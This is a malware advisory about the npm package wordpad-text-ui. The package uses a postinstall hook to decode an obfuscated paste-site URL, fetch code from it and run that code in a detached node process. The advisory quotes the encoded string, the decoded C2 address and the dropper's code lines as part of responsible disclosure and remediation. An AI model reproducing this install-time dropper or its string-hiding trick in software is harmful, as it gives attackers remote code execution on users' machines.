MAL-2026-5885 Malicious code in wordpad-text-ui (npm)

On npm install, the declared postinstall hook runs node main.js, which decodes an obfuscated URL (stored as DEV_API_KEY="S]EH:2e2prf1uhshhnqrvm1zzz22=vswwk" in main.js line 15, deobfuscated via string reversal and a Caesar shift of -3 to https://www.jsonkeeper.com/b/7EBZP), HTTP-GETs the response via axios, and writes the body into the stdin of a detached node child process for execution (main.js lines 18-23: const s1 = (await axios.get(update(DEV_API_KEY))).data.content; const child = spawn('node', [], { detached: true,... }); child.stdin.write(s1); child.stdin.end(); child.unref();). This is a classic install-time remote code execution dropper: the payload is hosted on an anonymous, mutable JSON paste service and is therefore attacker-controlled and can change at any time without a package update. Supporting indicators reinforce malicious intent: the C2 URL is hidden behind a homemade reverse+Caesar encoding under a misleading DEV_API_KEY name (an evasion tactic against static scanners); the package's name (wordpad-text-ui) implies a text-editor UI library but index.js only errors out telling consumers not to require it, while bootstrap.js, bundle.js, and publish.js are empty 0-byte decoys — the package ships no actual functionality and exists solely to deliver the dropper. It also pulls in a sibling package richtext-editor-ui that propagates the same campaign.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.